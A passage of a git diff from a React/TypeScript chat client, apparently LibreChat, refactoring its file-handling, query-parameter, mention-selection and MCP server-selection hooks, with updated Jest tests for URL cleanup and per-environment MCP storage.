validateFiles } from '~/utils'; import useClientResize from './useClientResize'; import useUpdateFiles from './useUpdateFiles'; @@ -29,16 +30,30 @@ type UseFileHandling = { fileSetter?: FileSetter; fileFilter?: (file: File) => boolean; additionalMetadata?: Record; + /** Overrides `endpoint` for upload routing; also used as `endpointType` fallback when `endpointTypeOverride` is not set */ + endpointOverride?: EModelEndpoint | string; + /** Overrides `endpointType` independently from `endpointOverride` */ + endpointTypeOverride?: EModelEndpoint | string; }; -const useFileHandling = (params?: UseFileHandling) => { +export type FileHandlingState = { + files: Map; + setFiles: FileSetter; + setFilesLoading?: React.Dispatch>; + conversation?: TConversation | null; +}; + +const noop = () => {}; + +const useFileHandlingCore = (params: UseFileHandling | undefined, fileState: FileHandlingState) => { const localize = useLocalize(); const queryClient = useQueryClient(); const { showToast } = useToastContext(); const [errors, setErrors] = useState([]); const abortControllerRef = useRef(null); const { startUploadTimer, clearUploadTimer } = useDelayedUploadToast(); - const { files, setFiles, setFilesLoading, conversation } = useChatContext(); + const { files, setFiles, conversation } = fileState; + const setFilesLoading = fileState.setFilesLoading ?? noop; const setEphemeralAgent = useSetRecoilState( ephemeralAgentByConvoId(conversation?.conversationId ?? Constants.NEW_CONVO), ); @@ -50,8 +65,16 @@ const useFileHandling = (params?: UseFileHandling) => { const agent_id = params?.additionalMetadata?.agent_id ?? ''; const assistant_id = params?.additionalMetadata?.assistant_id ?? ''; - const endpointType = useMemo(() => conversation?.endpointType, [conversation?.endpointType]); - const endpoint = useMemo(() => conversation?.endpoint ?? 'default', [conversation?.endpoint]); + const endpointOverride = params?.endpointOverride; + const endpointTypeOverride = params?.endpointTypeOverride; + const endpointType = useMemo( + () => endpointTypeOverride ?? endpointOverride ?? conversation?.endpointType, + [endpointTypeOverride, endpointOverride, conversation?.endpointType], + ); + const endpoint = useMemo( + () => endpointOverride ?? conversation?.endpoint ?? 'default', + [endpointOverride, conversation?.endpoint], + ); const { data: fileConfig = null } = useGetFileConfig({ select: (data) => mergeFileConfig(data), @@ -110,6 +133,11 @@ const useFileHandling = (params?: UseFileHandling) => { ); setTimeout(() => { + const cachedBlob = getCachedPreview(data.temp_file_id); + if (cachedBlob && data.file_id !== data.temp_file_id) { + cachePreview(data.file_id, cachedBlob); + removePreviewEntry(data.temp_file_id); + } updateFileById( data.temp_file_id, { @@ -240,7 +268,6 @@ const useFileHandling = (params?: UseFileHandling) => { replaceFile(extendedFile); await startUpload(extendedFile); - URL.revokeObjectURL(preview); }; img.src = preview; }; @@ -281,6 +308,7 @@ const useFileHandling = (params?: UseFileHandling) => { try { // Create initial preview with original file const initialPreview = URL.createObjectURL(originalFile); + cachePreview(file_id, initialPreview); // Create initial ExtendedFile to show immediately const initialExtendedFile: ExtendedFile = { @@ -358,6 +386,7 @@ const useFileHandling = (params?: UseFileHandling) => { if (finalProcessedFile !== originalFile) { URL.revokeObjectURL(initialPreview); // Clean up original preview const newPreview = URL.createObjectURL(finalProcessedFile); + cachePreview(file_id, newPreview); const updatedExtendedFile: ExtendedFile = { ...initialExtendedFile, @@ -434,4 +463,20 @@ const useFileHandling = (params?: UseFileHandling) => { }; }; +export const useFileHandlingNoChatContext = ( + params: UseFileHandling | undefined, + fileState: FileHandlingState, +) => useFileHandlingCore(params, fileState); + +const useFileHandling = (params?: UseFileHandling) => { + const { files, setFiles, setFilesLoading, conversation } = useChatContext(); + + return useFileHandlingCore(params, { + files, + setFiles, + conversation, + setFilesLoading, + }); +}; + export default useFileHandling; diff --git a/client/src/hooks/Files/useSharePointFileHandling.ts b/client/src/hooks/Files/useSharePointFileHandling.ts index 11fc0915b7..a04ef0104b 100644 --- a/client/src/hooks/Files/useSharePointFileHandling.ts +++ b/client/src/hooks/Files/useSharePointFileHandling.ts @@ -1,13 +1,17 @@ import { useCallback } from 'react'; -import useFileHandling from './useFileHandling'; -import useSharePointDownload from './useSharePointDownload'; +import type { EModelEndpoint } from 'librechat-data-provider'; import type { SharePointFile } from '~/data-provider/Files/sharepoint'; +import type { FileHandlingState } from './useFileHandling'; +import useFileHandling, { useFileHandlingNoChatContext } from './useFileHandling'; +import useSharePointDownload from './useSharePointDownload'; interface UseSharePointFileHandlingProps { fileSetter?: any; toolResource?: string; fileFilter?: (file: File) => boolean; additionalMetadata?: Record; + endpointOverride?: EModelEndpoint | string; + endpointTypeOverride?: EModelEndpoint | string; } interface UseSharePointFileHandlingReturn { @@ -21,6 +25,43 @@ export default function useSharePointFileHandling( props?: UseSharePointFileHandlingProps, ): UseSharePointFileHandlingReturn { const { handleFiles } = useFileHandling(props); + const { downloadSharePointFiles, isDownloading, downloadProgress, error } = useSharePointDownload( + { + onFilesDownloaded: async (downloadedFiles: File[]) => { + const fileArray = Array.from(downloadedFiles); + await handleFiles(fileArray, props?.toolResource); + }, + onError: (error) => { + console.error('SharePoint download failed:', error); + }, + }, + ); + + const handleSharePointFiles = useCallback( + async (sharePointFiles: SharePointFile[]) => { + try { + await downloadSharePointFiles(sharePointFiles); + } catch (error) { + console.error('SharePoint file handling error:', error); + throw error; + } + }, + [downloadSharePointFiles], + ); + + return { + handleSharePointFiles, + isProcessing: isDownloading, + downloadProgress, + error, + }; +} + +export function useSharePointFileHandlingNoChatContext( + props: UseSharePointFileHandlingProps | undefined, + fileState: FileHandlingState, +): UseSharePointFileHandlingReturn { + const { handleFiles } = useFileHandlingNoChatContext(props, fileState); const { downloadSharePointFiles, isDownloading, downloadProgress, error } = useSharePointDownload( { diff --git a/client/src/hooks/Input/useQueryParams.spec.ts b/client/src/hooks/Input/useQueryParams.spec.ts index 927df94941..f8b30b2eda 100644 --- a/client/src/hooks/Input/useQueryParams.spec.ts +++ b/client/src/hooks/Input/useQueryParams.spec.ts @@ -220,9 +220,14 @@ describe('useQueryParams', () => { handleSubmit: jest.fn((callback) => () => callback({ text: 'test message' })), }); - // Mock startup config to allow processing (useQueryClient as jest.Mock).mockReturnValue({ - getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }), + getQueryData: jest.fn().mockImplementation((key) => { + const k = Array.isArray(key) ? key[0] : key; + if (k === 'startupConfig') { + return { modelSpecs: { list: [] } }; + } + return null; + }), }); setUrlParams({ q: 'hello world' }); @@ -241,7 +246,11 @@ describe('useQueryParams', () => { 'hello world', expect.objectContaining({ shouldValidate: true }), ); - expect(window.history.replaceState).toHaveBeenCalled(); + const mockSetSearchParams = (useSearchParams as jest.Mock).mock.results[0].value[1]; + const [params, options] = mockSetSearchParams.mock.calls[0]; + expect(params).toBeInstanceOf(URLSearchParams); + expect(params.toString()).toBe(''); + expect(options).toEqual(expect.objectContaining({ replace: true })); }); it('should auto-submit message when submit=true and no settings to apply', () => { @@ -266,9 +275,14 @@ describe('useQueryParams', () => { submitMessage: mockSubmitMessage, }); - // Mock startup config to allow processing (useQueryClient as jest.Mock).mockReturnValue({ - getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }), + getQueryData: jest.fn().mockImplementation((key) => { + const k = Array.isArray(key) ? key[0] : key; + if (k === 'startupConfig') { + return { modelSpecs: { list: [] } }; + } + return null; + }), }); setUrlParams({ q: 'hello world', submit: 'true' }); @@ -304,13 +318,14 @@ describe('useQueryParams', () => { } as unknown as HTMLTextAreaElement, }; - // Mock getQueryData to return array format for startupConfig + // Mock getQueryData to return array format for startupConfig and endpoints const mockGetQueryData = jest.fn().mockImplementation((key) => { - if (Array.isArray(key) && key[0] === 'startupConfig') { + const k = Array.isArray(key) ? key[0] : key; + if (k === 'startupConfig') { return { modelSpecs: { list: [] } }; } - if (key === 'startupConfig') { - return { modelSpecs: { list: [] } }; + if (k === 'endpoints') { + return {}; } return null; }); @@ -396,14 +411,15 @@ describe('useQueryParams', () => { newConversation: mockNewConversation, }); - // Mock startup config to allow processing + // Mock startup config and endpoints to allow processing (useQueryClient as jest.Mock).mockReturnValue({ getQueryData: jest.fn().mockImplementation((key) => { - if (Array.isArray(key) && key[0] === 'startupConfig') { + const k = Array.isArray(key) ? key[0] : key; + if (k === 'startupConfig') { return { modelSpecs: { list: [] } }; } - if (key === 'startupConfig') { - return { modelSpecs: { list: [] } }; + if (k === 'endpoints') { + return {}; } return null; }), @@ -454,9 +470,14 @@ describe('useQueryParams', () => { submitMessage: mockSubmitMessage, }); - // Mock startup config to allow processing (useQueryClient as jest.Mock).mockReturnValue({ - getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }), + getQueryData: jest.fn().mockImplementation((key) => { + const k = Array.isArray(key) ? key[0] : key; + if (k === 'startupConfig') { + return { modelSpecs: { list: [] } }; + } + return null; + }), }); setUrlParams({ model: 'gpt-4' }); // No submit=true @@ -500,9 +521,14 @@ describe('useQueryParams', () => { submitMessage: mockSubmitMessage, }); - // Mock startup config to allow processing (useQueryClient as jest.Mock).mockReturnValue({ - getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }), + getQueryData: jest.fn().mockImplementation((key) => { + const k = Array.isArray(key) ? key[0] : key; + if (k === 'startupConfig') { + return { modelSpecs: { list: [] } }; + } + return null; + }), }); setUrlParams({}); // Empty params @@ -524,6 +550,10 @@ describe('useQueryParams', () => { expect(mockSetValue).not.toHaveBeenCalled(); expect(mockHandleSubmit).not.toHaveBeenCalled(); expect(mockSubmitMessage).not.toHaveBeenCalled(); - expect(window.history.replaceState).toHaveBeenCalled(); + const mockSetSearchParams = (useSearchParams as jest.Mock).mock.results[0].value[1]; + const [params, options] = mockSetSearchParams.mock.calls[0]; + expect(params).toBeInstanceOf(URLSearchParams); + expect(params.toString()).toBe(''); + expect(options).toEqual(expect.objectContaining({ replace: true })); }); }); diff --git a/client/src/hooks/Input/useQueryParams.ts b/client/src/hooks/Input/useQueryParams.ts index 7c9ff58042..b29f408a3a 100644 --- a/client/src/hooks/Input/useQueryParams.ts +++ b/client/src/hooks/Input/useQueryParams.ts @@ -2,24 +2,17 @@ import { useEffect, useCallback, useRef } from 'react'; import { useRecoilValue } from 'recoil'; import { useSearchParams } from 'react-router-dom'; import { QueryClient, useQueryClient } from '@tanstack/react-query'; -import { - QueryKeys, - EModelEndpoint, - isAgentsEndpoint, - tQueryParamsSchema, - isAssistantsEndpoint, - PermissionBits, -} from 'librechat-data-provider'; +import { QueryKeys, EModelEndpoint, PermissionBits } from 'librechat-data-provider'; import type { AgentListResponse, TEndpointsConfig, TStartupConfig, TPreset, } from 'librechat-data-provider'; -import type { ZodAny } from 'zod'; import { clearModelForNonEphemeralAgent, removeUnavailableTools, + processValidSettings, getModelSpecIconURL, getConvoSwitchLogic, logger, @@ -29,62 +22,6 @@ import { useChatContext, useChatFormContext } from '~/Providers'; import { useGetAgentByIdQuery } from '~/data-provider'; import store from '~/store'; -/** - * Parses query parameter values, converting strings to their appropriate types. - * Handles boolean strings, numbers, and preserves regular strings. - */ -const parseQueryValue = (value: string) => { - if (value === 'true') { - return true; - } - if (value === 'false') { - return false; - } - if (!isNaN(Number(value))) { - return Number(value); - } - return value; -}; - -/** - * Processes and validates URL query parameters using schema definitions. - * Extracts valid settings based on tQueryParamsSchema and handles special endpoint cases - * for assistants and agents. - */ -const processValidSettings = (queryParams: Record) => { - const validSettings = {} as TPreset; - - Object.entries(queryParams).forEach(([key, value]) => { - try { - const schema = tQueryParamsSchema.shape[key] as ZodAny | undefined; - if (schema) { - const parsedValue = parseQueryValue(value); - const validValue = schema.parse(parsedValue); - validSettings[key] = validValue; - } - } catch (error) { - console.warn(`Invalid value for setting ${key}:`, error); - } - }); - - if ( - validSettings.assistant_id != null && - validSettings.assistant_id && - !isAssistantsEndpoint(validSettings.endpoint) - ) { - validSettings.endpoint = EModelEndpoint.assistants; - } - if ( - validSettings.agent_id != null && - validSettings.agent_id && - !isAgentsEndpoint(validSettings.endpoint) - ) { - validSettings.endpoint = EModelEndpoint.agents; - } - - return validSettings; -}; - const injectAgentIntoAgentsMap = (queryClient: QueryClient, agent: any) => { const editCacheKey = [QueryKeys.agents, { requiredPermission: PermissionBits.EDIT }]; const editCache = queryClient.getQueryData(editCacheKey); @@ -244,13 +181,12 @@ export default function useQueryParams({ ], ); - /** - * Checks if all settings from URL parameters have been successfully applied to the conversation. - * Compares values from validSettings against the current conversation state, handling special properties. - * Returns true only when all relevant settings match the target values. - */ + const conversationRef = useRef(conversation); + conversationRef.current = conversation; + const areSettingsApplied = useCallback(() => { - if (!validSettingsRef.current || !conversation) { + const convo = conversationRef.current; + if (!validSettingsRef.current || !convo) { return false; } @@ -259,13 +195,13 @@ export default function useQueryParams({ continue; } - if (conversation[key] !== value) { + if (convo[key] !== value) { return false; } } return true; - }, [conversation]); + }, []); /** * Processes message submission exactly once, preventing duplicate submissions. @@ -285,14 +221,12 @@ export default function useQueryParams({ methods.handleSubmit((data) => { if (data.text?.trim()) { submitMessage(data); - - const newUrl = window.location.pathname; - window.history.replaceState({}, '', newUrl); - - console.log('Message submitted with conversation state:', conversation); + logger.log('conversation', 'Message submitted from query params'); } })(); - }, [methods, submitMessage, conversation]); + + setSearchParams(new URLSearchParams(), { replace: true }); + }, [methods, submitMessage, setSearchParams]); useEffect(() => { const processQueryParams = () => { @@ -332,6 +266,7 @@ export default function useQueryParams({ } const { decodedPrompt, validSettings, shouldAutoSubmit } = processQueryParams(); + const hasSettings = Object.keys(validSettings).length > 0; if (!shouldAutoSubmit) { submissionHandledRef.current = true; @@ -339,45 +274,36 @@ export default function useQueryParams({ /** Mark processing as complete and clean up as needed */ const success = () => { - const paramString = searchParams.toString(); - const currentParams = new URLSearchParams(paramString); - currentParams.delete('prompt'); - currentParams.delete('q'); - currentParams.delete('submit'); - - setSearchParams(currentParams, { replace: true }); processedRef.current = true; - console.log('Parameters processed successfully', paramString); + logger.log('conversation', 'Query parameters processed successfully'); clearInterval(intervalId); - // Only clean URL if there's no pending submission + // Defer URL cleanup until after submission completes (processSubmission handles it) if (!pendingSubmitRef.current) { - const newUrl = window.location.pathname; - window.history.replaceState({}, '', newUrl); + setSearchParams(new URLSearchParams(), { replace: true }); } }; - // Store settings for later comparison - if (Object.keys(validSettings).length > 0) { + if (hasSettings) { validSettingsRef.current = validSettings; } - // Save the prompt text for later use if needed if (decodedPrompt) { promptTextRef.current = decodedPrompt; } // Handle auto-submission if (shouldAutoSubmit && decodedPrompt) { - if (Object.keys(validSettings).length > 0) { + if (hasSettings) { // Settings are changing, defer submission pendingSubmitRef.current = true; // Set a timeout to handle the case where settings might never fully apply settingsTimeoutRef.current = setTimeout(() => { if (!submissionHandledRef.current && pendingSubmitRef.current) { - console.warn( - 'Settings application timeout reached, proceeding with submission anyway', + logger.log( + 'conversation', + 'Settings application timeout, proceeding with submission', ); processSubmission(); } @@ -401,7 +327,7 @@ export default function useQueryParams({ submissionHandledRef.current = true; } - if (Object.keys(validSettings).length > 0) { + if (hasSettings && !areSettingsApplied()) { newQueryConvo(validSettings); } @@ -424,6 +350,7 @@ export default function useQueryParams({ setSearchParams, queryClient, processSubmission, + areSettingsApplied, ]); useEffect(() => { @@ -438,9 +365,7 @@ export default function useQueryParams({ return; } - const allSettingsApplied = areSettingsApplied(); - - if (allSettingsApplied) { + if (areSettingsApplied()) { settingsAppliedRef.current = true; if (pendingSubmitRef.current) { @@ -449,7 +374,7 @@ export default function useQueryParams({ settingsTimeoutRef.current = null; } - console.log('Settings fully applied, processing submission'); + logger.log('conversation', 'Settings fully applied, processing submission'); processSubmission(); } } diff --git a/client/src/hooks/Input/useSelectMention.ts b/client/src/hooks/Input/useSelectMention.ts index 731302ff0a..00ba5095bb 100644 --- a/client/src/hooks/Input/useSelectMention.ts +++ b/client/src/hooks/Input/useSelectMention.ts @@ -22,19 +22,19 @@ import store from '~/store'; export default function useSelectMention({ presets, modelSpecs, - conversation, assistantsMap, returnHandlers, endpointsConfig, + getConversation, newConversation, }: { - conversation: TConversation | null; presets?: TPreset[]; modelSpecs: TModelSpec[]; + returnHandlers?: boolean; assistantsMap?: TAssistantsMap; newConversation: ConvoGenerator; endpointsConfig: TEndpointsConfig; - returnHandlers?: boolean; + getConversation: () => TConversation | null; }) { const getDefaultConversation = useDefaultConvo(); const modularChat = useRecoilValue(store.modularChat); @@ -45,6 +45,8 @@ export default function useSelectMention({ if (!spec) { return; } + + const conversation = getConversation(); const { preset } = spec; preset.iconURL = getModelSpecIconURL(spec); preset.spec = spec.name; @@ -110,7 +112,7 @@ export default function useSelectMention({ }); }, [ - conversation, + getConversation, getDefaultConversation, modularChat, newConversation, @@ -133,6 +135,8 @@ export default function useSelectMention({ return; } + const conversation = getConversation(); + const { shouldSwitch, isNewModular, @@ -202,7 +206,7 @@ export default function useSelectMention({ keepAddedConvos: isNewModular, }); }, - [conversation, getDefaultConversation, modularChat, newConversation, endpointsConfig], + [getConversation, getDefaultConversation, modularChat, newConversation, endpointsConfig], ); const onSelectPreset = useCallback( @@ -211,6 +215,8 @@ export default function useSelectMention({ return; } + const conversation = getConversation(); + const newPreset = removeUnavailableTools(_newPreset, availableTools); const newEndpoint = newPreset.endpoint ?? ''; @@ -266,7 +272,7 @@ export default function useSelectMention({ }, [ modularChat, - conversation, + getConversation, availableTools, newConversation, endpointsConfig, diff --git a/client/src/hooks/Input/useTextarea.ts b/client/src/hooks/Input/useTextarea.ts index 4eae002430..15b415dabc 100644 --- a/client/src/hooks/Input/useTextarea.ts +++ b/client/src/hooks/Input/useTextarea.ts @@ -42,8 +42,8 @@ export default function useTextarea({ const checkHealth = useInteractionHealthCheck(); const enterToSend = useRecoilValue(store.enterToSend); - const { index, conversation, isSubmitting, filesLoading, latestMessage, setFilesLoading } = - useChatContext(); + const { index, conversation, isSubmitting, filesLoading, setFilesLoading } = useChatContext(); + const latestMessage = useRecoilValue(store.latestMessageFamily(index)); const [activePrompt, setActivePrompt] = useRecoilState(store.activePromptByIndex(index)); const { endpoint = '' } = conversation || {}; diff --git a/client/src/hooks/MCP/__tests__/useMCPSelect.test.tsx b/client/src/hooks/MCP/__tests__/useMCPSelect.test.tsx index 26595b611c..783f525b9c 100644 --- a/client/src/hooks/MCP/__tests__/useMCPSelect.test.tsx +++ b/client/src/hooks/MCP/__tests__/useMCPSelect.test.tsx @@ -415,7 +415,7 @@ describe('useMCPSelect', () => { }); }); - it('should handle empty ephemeralAgent.mcp array correctly', async () => { + it('should clear mcpValues when ephemeralAgent.mcp is set to empty array', async () => { // Create a shared wrapper const { Wrapper, servers } = createWrapper(['initial-value']); @@ -437,19 +437,21 @@ describe('useMCPSelect', () => { expect(result.current.mcpHook.mcpValues).toEqual(['initial-value']); }); - // Try to set empty array externally + // Set empty array externally (e.g., spec with no MCP servers) act(() => { result.current.setEphemeralAgent({ mcp: [], }); }); - // Values should remain unchanged since empty mcp array doesn't trigger update - // (due to the condition: ephemeralAgent?.mcp && ephemeralAgent.mcp.length > 0) - expect(result.current.mcpHook.mcpValues).toEqual(['initial-value']); + // Jotai atom should be cleared — an explicit empty mcp array means + // the spec (or reset) has no MCP servers, so the visual selection must clear + await waitFor(() => { + expect(result.current.mcpHook.mcpValues).toEqual([]); + }); }); - it('should handle ephemeralAgent with clear mcp value', async () => { + it('should handle ephemeralAgent being reset to null', async () => { // Create a shared wrapper const { Wrapper, servers } = createWrapper(['server1', 'server2']); @@ -471,16 +473,15 @@ describe('useMCPSelect', () => { expect(result.current.mcpHook.mcpValues).toEqual(['server1', 'server2']); }); - // Set ephemeralAgent with clear value + // Reset ephemeralAgent to null (simulating non-spec reset) act(() => { - result.current.setEphemeralAgent({ - mcp: [Constants.mcp_clear as string], - }); + result.current.setEphemeralAgent(null); }); - // mcpValues should be cleared + // mcpValues should remain unchanged since null ephemeral agent + // doesn't trigger the sync effect (mcps.length === 0) await waitFor(() => { - expect(result.current.mcpHook.mcpValues).toEqual([]); + expect(result.current.mcpHook.mcpValues).toEqual(['server1', 'server2']); }); }); @@ -590,6 +591,233 @@ describe('useMCPSelect', () => { }); }); + describe('Environment-Keyed Storage (storageContextKey)', () => { + it('should use storageContextKey as atom key for new conversations', async () => { + const { Wrapper, servers } = createWrapper(['server1', 'server2']); + const storageContextKey = '__defaults__'; + + // Hook A: new conversation with storageContextKey + const { result: resultA } = renderHook( + () => useMCPSelect({ conversationId: null, storageContextKey, servers }), + { wrapper: Wrapper }, + ); + + act(() => { + resultA.current.setMCPValues(['server1']); + }); + + await waitFor(() => { + expect(resultA.current.mcpValues).toEqual(['server1']); + }); + + // Hook B: new conversation WITHOUT storageContextKey (different environment) + const { result: resultB } = renderHook( + () => useMCPSelect({ conversationId: null, servers }), + { wrapper: Wrapper }, + ); + + // Should NOT see server1 since it's a different atom (NEW_CONVO vs __defaults__) + expect(resultB.current.mcpValues).toEqual([]); + }); + + it('should use conversationId as atom key for existing conversations even with storageContextKey', async () => { + const conversationId = 'existing-convo-123'; + const { Wrapper, servers } = createWrapper(['server1', 'server2']); + const storageContextKey = '__defaults__'; + + const { result } = renderHook( + () => useMCPSelect({ conversationId, storageContextKey, servers }), + { wrapper: Wrapper }, + ); + + act(() => { + result.current.setMCPValues(['server1', 'server2']); + }); + + await waitFor(() => { + expect(result.current.mcpValues).toEqual(['server1', 'server2']); + }); + + // Verify timestamp was written to the conversation key, not the environment key + const convoKey = `${LocalStorageKeys.LAST_MCP_}${conversationId}`; + expect(setTimestamp).toHaveBeenCalledWith(convoKey); + }); + + it('should dual-write to environment key when storageContextKey is provided', async () => { + const { Wrapper, servers } = createWrapper(['server1', 'server2']); + const storageContextKey = '__defaults__'; + + const { result } = renderHook( + () => useMCPSelect({ conversationId: null, storageContextKey, servers }), + { wrapper: Wrapper }, + ); + + act(() => { + result.current.setMCPValues(['server1', 'server2']); + }); + + await waitFor(() => { + // Verify dual-write to environment key + const envKey = `${LocalStorageKeys.LAST_MCP_}${storageContextKey}`; + expect(localStorage.getItem(envKey)).toEqual(JSON.stringify(['server1', 'server2'])); + expect(setTimestamp).toHaveBeenCalledWith(envKey); + }); + }); + + it('should NOT dual-write when storageContextKey is undefined', async () => { + const conversationId = 'convo-no-specs'; + const { Wrapper, servers } = createWrapper(['server1']); + + const { result } = renderHook(() => useMCPSelect({ conversationId, servers }), { + wrapper: Wrapper, + }); + + act(() => { + result.current.setMCPValues(['server1']); + }); + + await waitFor(() => { + expect(result.current.mcpValues).toEqual(['server1']); + }); + + // Only the conversation-keyed timestamp should be set, no environment key + const envKey = `${LocalStorageKeys.LAST_MCP_}__defaults__`; + expect(localStorage.getItem(envKey)).toBeNull(); + }); + + it('should isolate per-conversation state from environment defaults', async () => { + const { Wrapper, servers } = createWrapper(['server1', 'server2', 'server3']); + const storageContextKey = '__defaults__'; + + // Set environment defaults via new conversation + const { result: newConvoResult } = renderHook( + () => useMCPSelect({ conversationId: null, storageContextKey, servers }), + { wrapper: Wrapper }, + ); + + act(() => { + newConvoResult.current.setMCPValues(['server1', 'server2']); + }); + + await waitFor(() => { + expect(newConvoResult.current.mcpValues).toEqual(['server1', 'server2']); + }); + + // Existing conversation should have its own isolated state + const { result: existingResult } = renderHook( + () => useMCPSelect({ conversationId: 'existing-convo', storageContextKey, servers }), + { wrapper: Wrapper }, + ); + + // Should start empty (its own atom), not inherit from defaults + expect(existingResult.current.mcpValues).toEqual([]); + + // Set different value for existing conversation + act(() => { + existingResult.current.setMCPValues(['server3']); + }); + + await waitFor(() => { + expect(existingResult.current.mcpValues).toEqual(['server3']); + }); + + // New conversation defaults should be unchanged + expect(newConvoResult.current.mcpValues).toEqual(['server1', 'server2']); + }); + }); + + describe('Spec/Non-Spec Context Switching', () => { + it('should clear MCP when ephemeral agent switches to empty mcp (spec with no MCP)', async () => { + const { Wrapper, servers } = createWrapper(['server1', 'server2']); + const storageContextKey = '__defaults__'; + + const TestComponent = ({ ctxKey }: { ctxKey?: string }) => { + const mcpHook = useMCPSelect({ conversationId: null, storageContextKey: ctxKey, servers }); + const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(Constants.NEW_CONVO)); + return { mcpHook, setEphemeralAgent }; + }; + + // Start in non-spec context with some servers selected + const { result } = renderHook(() => TestComponent({ ctxKey: storageContextKey }), { + wrapper: Wrapper, + }); + + act(() => { + result.current.mcpHook.setMCPValues(['server1', 'server2']); + }); + + await waitFor(() => { + expect(result.current.mcpHook.mcpValues).toEqual(['server1', 'server2']); + }); + + // Simulate switching to a spec with no MCP — ephemeral agent gets mcp: [] + act(() => { + result.current.setEphemeralAgent({ mcp: [] }); + }); + + // MCP values should clear since the spec explicitly has no MCP servers + await waitFor(() => { + expect(result.current.mcpHook.mcpValues).toEqual([]); + }); + }); + + it('should handle ephemeral agent with spec MCP servers syncing to Jotai atom', async () => { + const { Wrapper, servers } = createWrapper(['spec-server1', 'spec-server2']); + + const TestComponent = () => { + const mcpHook = useMCPSelect({ conversationId: null, servers }); + const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(Constants.NEW_CONVO)); + return { mcpHook, setEphemeralAgent }; + }; + + const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper }); + + // Simulate spec application setting ephemeral agent MCP + act(() => { + result.current.setEphemeralAgent({ + mcp: ['spec-server1', 'spec-server2'], + execute_code: true, + }); + }); + + await waitFor(() => { + expect(result.current.mcpHook.mcpValues).toEqual(['spec-server1', 'spec-server2']); + }); + }); + + it('should handle null ephemeral agent reset (non-spec with specs configured)', async () => { + const { Wrapper, servers } = createWrapper(['server1', 'server2']); + + const TestComponent = () => { + const mcpHook = useMCPSelect({ servers }); + const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(Constants.NEW_CONVO)); + return { mcpHook, setEphemeralAgent }; + }; + + const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper }); + + // Set values from a spec + act(() => { + result.current.setEphemeralAgent({ mcp: ['server1', 'server2'] }); + }); + + await waitFor(() => { + expect(result.current.mcpHook.mcpValues).toEqual(['server1', 'server2']); + }); + + // Reset ephemeral agent to null (switching to non-spec) + act(() => { + result.current.setEphemeralAgent(null); + }); + + // mcpValues should remain unchanged — null ephemeral agent doesn't trigger sync + // (BadgeRowContext will fill from localStorage defaults separately) + await waitFor(() => { + expect(result.current.mcpHook.mcpValues).toEqual(['server1', 'server2']); + }); + }); + }); + describe('Memory Leak Prevention', () => { it('should not leak memory on repeated updates', async () => { const values = Array.from({ length: 100 }, (_, i) => `value-${i}`); diff --git a/client/src/hooks/MCP/useMCPSelect.ts b/client/src/hooks/MCP/useMCPSelect.ts index ec9dfe0bbb..b15786f678 100644 --- a/client/src/hooks/MCP/useMCPSelect.ts +++ b/client/src/hooks/MCP/useMCPSelect.ts @@ -9,9 +9,11 @@ import { MCPServerDefinition } from './useMCPServerManager'; export function useMCPSelect({ conversationId, + storageContextKey, servers, }: { conversationId?: string | null; + storageContextKey?: string; servers: MCPServerDefinition[]; }) { const key = conversationId ?? Constants.NEW_CONVO; @@ -19,47 +21,61 @@ export function useMCPSelect({ return new Set(servers?.map((s) => s.serverName)); }, [servers]); + /** + * For new conversations, key the MCP atom by environment (spec or defaults) + * so switching between spec ↔ non-spec gives each its own atom. + * For existing conversations, key by conversation ID for per-conversation isolation. + */ + const isNewConvo = key === Constants.NEW_CONVO; + const mcpAtomKey = isNewConvo && storageContextKey ? storageContextKey : key; + const [isPinned, setIsPinned] = useAtom(mcpPinnedAtom); - const [mcpValues, setMCPValuesRaw] = useAtom(mcpValuesAtomFamily(key)); + const [mcpValues, setMCPValuesRaw] = useAtom(mcpValuesAtomFamily(mcpAtomKey)); const [ephemeralAgent, setEphemeralAgent] = useRecoilState(ephemeralAgentByConvoId(key)); - // Sync Jotai state with ephemeral agent state + // Sync ephemeral agent MCP → Jotai atom (strip unconfigured servers) useEffect(() => { - const mcps = ephemeralAgent?.mcp ?? []; - if (mcps.length === 1 && mcps[0] === Constants.mcp_clear) { - setMCPValuesRaw([]); - } else if (mcps.length > 0) { - // Strip out servers that are not available in the startup config + const mcps = ephemeralAgent?.mcp; + if (Array.isArray(mcps) && mcps.length > 0 && configuredServers.size > 0) { const activeMcps = mcps.filter((mcp) => configuredServers.has(mcp)); - setMCPValuesRaw(activeMcps); - } - }, [ephemeralAgent?.mcp, setMCPValuesRaw, configuredServers]); - - useEffect(() => { - setEphemeralAgent((prev) => { - if (!isEqual(prev?.mcp, mcpValues)) { - return { ...(prev ?? {}), mcp: mcpValues }; + if (!isEqual(activeMcps, mcpValues)) { + setMCPValuesRaw(activeMcps); } - return prev; - }); - }, [mcpValues, setEphemeralAgent]); + } else if (Array.isArray(mcps) && mcps.length === 0 && mcpValues.length > 0) { + // Ephemeral agent explicitly has empty MCP (e.g., spec with no MCP servers) — clear atom + setMCPValuesRaw([]); + } + }, [ephemeralAgent?.mcp, setMCPValuesRaw, configuredServers, mcpValues]); + // Write timestamp when MCP values change useEffect(() => { - const mcpStorageKey = `${LocalStorageKeys.LAST_MCP_}${key}`; + const mcpStorageKey = `${LocalStorageKeys.LAST_MCP_}${mcpAtomKey}`; if (mcpValues.length > 0) { setTimestamp(mcpStorageKey); } - }, [mcpValues, key]); + }, [mcpValues, mcpAtomKey]); - /** Stable memoized setter */ + /** Stable memoized setter with dual-write to environment key */ const setMCPValues = useCallback( (value: string[]) => { if (!Array.isArray(value)) { return; } setMCPValuesRaw(value); + setEphemeralAgent((prev) => { + if (!isEqual(prev?.mcp, value)) { + return { ...(prev ?? {}), mcp: value }; + } + return prev; + }); + // Dual-write to environment key for new conversation defaults + if (storageContextKey) { + const envKey = `${LocalStorageKeys.LAST_MCP_}${storageContextKey}`; + localStorage.setItem(envKey, JSON.stringify(value)); + setTimestamp(envKey); + } }, - [setMCPValuesRaw], + [setMCPValuesRaw, setEphemeralAgent, storageContextKey], ); return { diff --git a/client/src/hooks/MCP/useMCPServerManager.ts b/client/src/hooks/MCP/useMCPServerManager.ts index 